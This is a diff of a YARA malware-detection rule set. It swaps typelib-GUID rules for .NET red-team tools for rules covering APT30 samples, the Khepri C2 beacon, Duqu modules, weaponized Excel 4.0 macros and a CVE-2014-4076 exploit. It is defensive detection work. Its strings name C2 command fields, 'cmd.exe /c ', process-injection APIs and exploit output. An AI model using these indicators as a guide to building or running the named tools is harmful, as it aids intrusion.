-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4913-L4929"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70e8c495c8a340e0afaa38faf0eb96101854a4dc51c29c571d9b74751aec91fd"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dfd104bd-daf4-593a-b161-61f43aec048c"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1165-L1186"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff7473e43e11e31fe6ad997009834f661a0120317e479184410456c99f72b613"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "b9aafb575d3d1732cb8fdca5ea226cebf86ea3c9"
+		hash1 = "2c5e347083b77c9ead9e75d41e2fabe096460bba"
+		hash2 = "5d39a567b50c74c4a921b5f65713f78023099933"
 
 	strings:
-		$typelibguid0lo = "46e39aed-0cff-47c6-8a63-6826f147d7bd" ascii wide
-		$typelibguid0up = "46E39AED-0CFF-47C6-8A63-6826F147D7BD" ascii wide
-		$typelibguid1lo = "11dc83c6-8186-4887-b228-9dc4fd281a23" ascii wide
-		$typelibguid1up = "11DC83C6-8186-4887-B228-9DC4FD281A23" ascii wide
+		$s0 = "GetStar" fullword
+		$s1 = ".rdUaS" fullword
+		$s2 = "%sOTwp/&A\\L" fullword
+		$s3 = "a Encrt% Flash Disk" fullword
+		$s4 = "ypeAutoRuChec" fullword
+		$s5 = "NoDriveT" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Driver_Template : FILE
+rule SIGNATURE_BASE_APT30_Generic_7 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "539f88c5-e779-55e0-98df-299a9068de9b"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/FuzzySecurity/Driver-Template"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4931-L4945"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "533cefcc86ff8eff8757041df8acf2a9c484d265b6aa9516c12adb606d6f71cb"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bba40092-267b-5231-92f1-f222c9f888ee"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1188-L1206"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5a272cbeb46be9b120acdbe12d795eddc05765777e4157d818c2b91ea7b782b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "2415f661046fdbe3eea8cd276b6f13354019b1a6"
+		hash1 = "e814914079af78d9f1b71000fee3c29d31d9b586"
+		hash2 = "0263de239ccef669c47399856d481e3361408e90"
 
 	strings:
-		$typelibguid0lo = "bdb79ad6-639f-4dc2-8b8a-cd9107da3d69" ascii wide
-		$typelibguid0up = "BDB79AD6-639F-4DC2-8B8A-CD9107DA3D69" ascii wide
+		$s1 = "Xjapor_*ata" fullword
+		$s2 = "Xjapor_o*ata" fullword
+		$s4 = "Ouopai" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <100KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Nashavm : FILE
+rule SIGNATURE_BASE_APT30_Generic_8 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3abbf636-01f4-547a-98c0-d7bfec07e31a"
-		date = "2021-01-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/Mrakovic-ORG/NashaVM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4947-L4961"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4046e8183ee2bcf95893f9a438f13aec9afa99e252029888830a0bf81dac2f6f"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a6845222-0a3e-5327-a448-36e8d54362a5"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1207-L1232"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c240d2a35ce3d621d108d03d4e720ddf86e248047fb4dd7f9724e64020caa7f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "b47e20ac5889700438dc241f28f4e224070810d2"
+		hash1 = "a9a50673ac000a313f3ddba55d63d9773b9f4143"
+		hash2 = "ac96d7f5957aef09bd983465c497de24c6d17a92"
 
 	strings:
-		$typelibguid0lo = "f9e63498-6e92-4afd-8c13-4f63a3d964c3" ascii wide
-		$typelibguid0up = "F9E63498-6E92-4AFD-8C13-4F63A3D964C3" ascii wide
+		$s0 = "Windows NT4.0" fullword
+		$s1 = "Windows NT3.51" fullword
+		$s2 = "%d;%d;%d;%ld;%ld;%ld;" fullword
+		$s3 = "%s %d.%d Build%d %s" fullword
+		$s4 = "MSAFD Tcpip [TCP/IP]" fullword
+		$s5 = "SQSRSS" fullword
+		$s8 = "WM_COMP" fullword
+		$s9 = "WM_MBU" fullword
+		$s11 = "WM_GRID" fullword
+		$s12 = "WM_RBU" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <250KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsqlpwn : FILE
+rule SIGNATURE_BASE_APT30_Generic_9 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b533d61a-8693-5c3c-8b31-2117262cad4e"
-		date = "2022-11-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/lefayjey/SharpSQLPwn.git"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4963-L4977"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2015c80084199bfedebe1591f02ffad5f31218351148d8087789b82523a39baa"
+		description = "FireEye APT30 Report Sample"
+		author = "Florian Roth (Nextron Systems)"
+		id = "cf259f8d-e0a9-579d-93e7-ec14d99faf81"
+		date = "2015-04-13"
+		modified = "2023-12-05"
+		reference = "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt30_backspace.yar#L1234-L1255"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b30c2f0bd654371bf3ac4f9d4e700e1544b62a6c0a072d506160c443fc5fe9d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "00d9949832dc3533592c2ce06a403ef19deddce9"
+		hash1 = "27a2b981d4c0bb8c3628bfe990db4619ddfdff74"
+		hash2 = "05f66492c163ec2a24c6a87c7a43028c5f632437"
+		hash3 = "263f094da3f64e72ef8dc3d02be4fb33de1fdb96"
 
 	strings:
-		$typelibguid0lo = "c442ea6a-9aa1-4d9c-9c9d-7560a327089c" ascii wide
-		$typelibguid0up = "C442EA6A-9AA1-4D9C-9C9D-7560A327089C" ascii wide
+		$s0 = "%s\\%s\\$NtRecDoc$" fullword
+		$s1 = "%s(%u)%s" fullword
+		$s2 = "http://%s%s%s" fullword
+		$s3 = "1.9.1.17" fullword wide
+		$s4 = "(C)Firefox and Mozilla Developers, according to the MPL 1.1/GPL 2.0/LGPL" wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <250KB and uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Group3R : FILE
+rule SIGNATURE_BASE_HKTL_Khepri_Beacon_Sep21_1 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0571d71e-50ca-5c1b-b750-34acc2d06687"
-		date = "2022-11-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/Group3r/Group3r.git"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4979-L4995"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ff62920395c8db7544ba0fb0dc0833892f89d0f8908bc3eee909ad1e012c84c"
-		score = 75
+		description = "Detects Khepri C2 framework beacons"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b2c8aaf7-7953-55a3-8499-565800fa01f1"
+		date = "2021-09-08"
+		modified = "2023-12-05"
+		reference = "https://github.com/geemion/Khepri/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_khepri.yar#L2-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c688dbda6006ef28305285f6aeec24a23cbfe9174d09cf4e3586bd0cf7290e60"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "86c48679db5f4c085fd741ebec5235bc6cf0cdf8ef2d98fd8a689ceb5088f431"
 
 	strings:
-		$typelibguid0lo = "868a6c76-c903-4a94-96fd-a2c6ba75691c" ascii wide
-		$typelibguid0up = "868A6C76-C903-4A94-96FD-A2C6BA75691C" ascii wide
-		$typelibguid1lo = "caa7ab97-f83b-432c-8f9c-c5f1530f59f7" ascii wide
-		$typelibguid1up = "CAA7AB97-F83B-432C-8F9C-C5F1530F59F7" ascii wide
+		$x1 = "NT %d.%d Build %d  ProductType:%s" ascii fullword
+		$xe1 = "YzIuQ01EUEFSQU0uY21k" ascii
+		$xe2 = "MyLkNNRFBBUkFNLmNtZ" ascii
+		$xe3 = "jMi5DTURQQVJBTS5jbW" ascii
+		$sx1 = "c2.ProcessItem.user" ascii fullword
+		$sx2 = "c2.CMDPARAM.cmd" ascii fullword
+		$sx3 = "c2.DownLoadFile.file_path" ascii fullword
+		$sa1 = "file size zero"
+		$sa2 = "cmd.exe /c "
+		$sa3 = "error parse param"
+		$sa4 = "innet_ip"
+		$op1 = { c3 b9 b4 98 49 00 87 01 5d c3 b8 b8 98 49 00 c3 8b ff }
+		$op2 = { 8b f1 80 3d 58 97 49 00 00 0f 85 96 00 00 00 33 c0 40 b9 50 97 49 00 87 01 33 db }
+		$op3 = { 90 d5 0c 43 00 34 0d 43 00 ea 0c 43 00 7e 0d 43 00 b6 0d 43 00 cc }
+		$op4 = { 69 c0 ff 00 00 00 8b 4d c0 23 88 40 7c 49 00 89 4d c0 8b 45 cc 0b 45 c0 89 45 cc 8b 45 d0 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d or uint32be(0)==0x7f454c46) and filesize <2000KB and (1 of ($x*) or 2 of ($sx*) or all of ($sa*) or 3 of ($op*)) or ( filesize <10MB and 1 of ($xe*)) or 5 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Tokenstomp : FILE
+rule SIGNATURE_BASE_Duqu1_5_Modules
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e4266969-ab03-50dc-b5b1-f4bb1c9846f4"
-		date = "2022-11-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/MartinIngesen/TokenStomp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L4997-L5011"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7bc49a8c654a6c6e3f0aa0378e91007c8ebdac90b536fbbfc123b09ff41eaa73"
+		description = "Detection for Duqu 1.5 modules"
+		author = "Silas Cutler (havex@chronicle.security)"
+		id = "7239f5e1-c08f-566c-8998-f7dacc2c4a29"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_duqu1_5_modules.yar#L2-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bb3961e2b473c22c3d5939adeb86819eb846ccd07f5736abb5e897918580aace"
+		logic_hash = "795107e227cfb73f6ea09fcdb078f8b57a30d47a2cb702b2d47cc936dea5ae9f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
 
 	strings:
-		$typelibguid0lo = "8aac271f-9b0b-4dc3-8aa6-812bb7a57e7b" ascii wide
-		$typelibguid0up = "8AAC271F-9B0B-4DC3-8AA6-812BB7A57E7B" ascii wide
+		$c1 = "%s(%d)disk(%d)fdisk(%d)"
+		$c2 = "\\Device\\Floppy%d" wide
+		$c3 = "BrokenAudio" wide
+		$m1 = { 81 3F E9 18 4B 7E}
+		$m2 = { 81 BC 18 F8 04 00 00 B3 20 EA B4 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Krbrelay : FILE
+rule SIGNATURE_BASE_MAL_Sharpshooter_Excel4 : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3f59986c-8bd8-5e70-b3eb-038247d1ccd7"
-		date = "2022-11-21"
-		modified = "2023-04-06"
-		reference = "https://github.com/cube0x0/KrbRelay"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5013-L5029"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1cab7949f922e286ed68826cc8f0028cabdc10bd328398b6d2517ad467be50b8"
-		score = 75
+		description = "Detects Excel documents weaponized with Sharpshooter"
+		author = "John Lambert, Florian Roth"
+		id = "a79e3afe-e8f9-5e56-a131-bb1b346df471"
+		date = "2020-03-27"
+		modified = "2023-12-05"
+		reference = "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-xls/00b5dd7d-51ca-4938-b7b7-483fe0e5933b"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_Excel4Macro_Sharpshooter.yar#L1-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ccef64586d25ffcb2b28affc1f64319b936175c4911e7841a0e28ee6d6d4a02d"
+		logic_hash = "4aec8bb7ec8ce7ebd8228416133ea7eec995864aeec78c11548387d832b5fa65"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "ed839154-90d8-49db-8cdd-972d1a6b2cfd" ascii wide
-		$typelibguid0up = "ED839154-90D8-49DB-8CDD-972D1A6B2CFD" ascii wide
-		$typelibguid1lo = "3b47eebc-0d33-4e0b-bab5-782d2d3680af" ascii wide
-		$typelibguid1up = "3B47EEBC-0D33-4E0B-BAB5-782D2D3680AF" ascii wide
+		$header_docf = { D0 CF 11 E0 }
+		$s1 = "Excel 4.0 Macros"
+		$f1 = "CreateThread" ascii fullword
+		$f2 = "WriteProcessMemory" ascii fullword
+		$f3 = "Kernel32" ascii fullword
+		$concat = { 00 41 6f 00 08 1e ?? 00 41 6f 00 08 1e ?? 00 41 6f 00 08}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <1000KB and $header_docf at 0 and #concat>10 and $s1 and 2 of ($f*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sqlrecon : FILE
+rule SIGNATURE_BASE_SUSP_Excel4Macro_Autoopen : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "f9ea5283-0a5c-5bde-966c-80869ee25888"
-		date = "2023-01-20"
-		modified = "2023-04-06"
-		reference = "https://github.com/skahwah/SQLRecon"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5031-L5045"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fed5ef9d4702c463fd2f138f5e4cc0a1841fc329a2923afeca83f193bb6213ea"
-		score = 75
+		description = "Detects Excel4 macro use with auto open / close"
+		author = "John Lambert @JohnLaTwC"
+		id = "cfed97fe-b330-5528-8402-08c6ba6af04a"
+		date = "2020-03-26"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_Excel4Macro_Sharpshooter.yar#L27-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f"
+		logic_hash = "074aab8e1d3b66e34e8e8d8e8489e1dfee1091df0424b22cd1bfd3cf904754e1"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "612c7c82-d501-417a-b8db-73204fdfda06" ascii wide
-		$typelibguid0up = "612C7C82-D501-417A-B8DB-73204FDFDA06" ascii wide
+		$header_docf = { D0 CF 11 E0 }
+		$s1 = "Excel" fullword
+		$Auto_Open = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
+		$Auto_Close = {18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
+		$Auto_Open1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a }
+		$Auto_Close1 = {18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <3000KB and $header_docf at 0 and $s1 and any of ($Auto_*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Certify : FILE
+rule SIGNATURE_BASE_CVE_2014_4076_Exploitcode : CVE_2014_4076 FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "69f120fe-bd4d-59ba-b1b9-528ab300e450"
-		date = "2023-03-06"
-		modified = "2023-04-06"
-		reference = "https://github.com/GhostPack/Certify"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5047-L5062"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "da585a8d4985082873cb86204d546d3f53668e034c61e42d247b11e92b5e8fc3"
-		logic_hash = "bd856a146f441f28d8190d29b3168794cf2b68292869858c763200ae529615da"
+		description = "Detects an exploit code for CVE-2014-4076"
+		author = "Florian Roth (Nextron Systems)"
+		id = "83563dea-63d9-58a9-82ed-275455122571"
+		date = "2018-04-04"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/yarGen"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2014_4076.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "96b8743de8b3968d64b74af93f5e61574a3b31d33df6d51e944b4f02c7b9723e"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = "CVE-2014-4076, FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "44690af85efef2db04c7e8cba7ca0d0e53be1a1432a339570a7d26eec860b8ee"
 
 	strings:
-		$typelibguid0lo = "64524ca5-e4d0-41b3-acc3-3bdbefd40c97" ascii wide
-		$typelibguid0up = "64524CA5-E4D0-41B3-ACC3-3BDBEFD40C97" ascii wide
+		$x1 = "[+] Created a new cmd.exe process" fullword ascii
+		$x2 = "[+] Modified shellcode" fullword ascii
+		$x3 = "[*] Spawning SYSTEM shell..." fullword ascii
+		$x4 = "[*] MS14-070 (CVE-2014-4076) x86" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and filesize <100KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Aladdin : FILE
+rule SIGNATURE_BASE_Ce_Enfal_Cmstar_Debug_Msg : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3f0a954c-f3b3-5e5d-a71d-11f60b026a48"
-		date = "2023-03-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/nettitude/Aladdin"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5064-L5082"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed23700de0e8d6527f64714b8c2e3a43c4a0798d710b67d6602b5d4ae276cbbd"
+		description = "Detects the static debug strings within CMSTAR"
+		author = "rfalcone"
+		id = "2c483f20-4fa8-5246-9dcb-8868db64b6e3"
+		date = "2015-05-10"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/JucrP9"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cmstar.yar#L2-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9b9cc7e2a2481b0472721e6b87f1eba4faf2d419d1e2c115a91ab7e7e6fc7f7c"
+		logic_hash = "31251b7ce33eb561aeb7405514df83dc1e00fdf184e3deeaa48505407d9567a0"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "b2b3adb0-1669-4b94-86cb-6dd682ddbea3" ascii wide
-		$typelibguid0up = "B2B3ADB0-1669-4B94-86CB-6DD682DDBEA3" ascii wide
-		$typelibguid1lo = "c47e4d64-cc7f-490e-8f09-055e009f33ba" ascii wide
-		$typelibguid1up = "C47E4D64-CC7F-490E-8F09-055E009F33BA" ascii wide
-		$typelibguid2lo = "32a91b0f-30cd-4c75-be79-ccbd6345de99" ascii wide
-		$typelibguid2up = "32A91B0F-30CD-4C75-BE79-CCBD6345DE99" ascii wide
+		$d1 = "EEE\x0d\x0a" fullword
+		$d2 = "TKE\x0d\x0a" fullword
+		$d3 = "VPE\x0d\x0a" fullword
+		$d4 = "VPS\x0d\x0a" fullword
+		$d5 = "WFSE\x0d\x0a" fullword
+		$d6 = "WFSS\x0d\x0a" fullword
+		$d7 = "CM**\x0d\x0a" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint16(0)==0x5a4d and all of ($d*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpldaprelayscan : FILE
+rule SIGNATURE_BASE_MAL_RTF_Embedded_OLE_PE : FILE
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "554a5487-ac53-512f-8f6f-ad8186144715"
-		date = "2023-03-15"
-		modified = "2023-04-06"
-		reference = "https://github.com/klezVirus/SharpLdapRelayScan"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L5084-L5098"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "853b8b7e797a4be85f5218ad2f54dd4a91812e9e53ad061ca3e849326a8f9189"
-		score = 75
+		description = "Detects a suspicious string often used in PE files in a hex encoded object stream"
+		author = "Florian Roth (Nextron Systems)"
+		id = "20044f08-9574-5baf-b91e-47613e490d62"
+		date = "2018-01-22"
+		modified = "2023-11-25"
+		reference = "https://www.nextron-systems.com/2018/01/22/creating-yara-rules-detect-embedded-exe-files-ole-objects/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_strings_in_ole.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "054abb34ae84e02469d726809a6d8aa582ebad65dd8385de7800d3f5db7ee31c"
+		score = 65
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "a93ee706-a71c-4cc1-bf37-f26c27825b68" ascii wide
-		$typelibguid0up = "A93EE706-A71C-4CC1-BF37-F26C27825B68" ascii wide
+		$a1 = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
+		$a2 = "4b45524e454c33322e646c6c" ascii
+		$a3 = "433a5c66616b65706174685c" ascii
+		$m3 = "4d5a40000100000006000000ffff"
+		$m2 = "4d5a50000200000004000f00ffff"
+		$m1 = "4d5a90000300000004000000ffff"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		uint32be(0)==0x7B5C7274 and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Ldapsigncheck : FILE
+rule SIGNATURE_BASE_Coreimpact_Sysdll_Exe
 {
 	meta:
-		description = "Detects .NET red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a8b902f0-61a5-509e-8307-79bf557e5f61"
-		date = "2023-03-15"
-		modified = "2023-04-06"
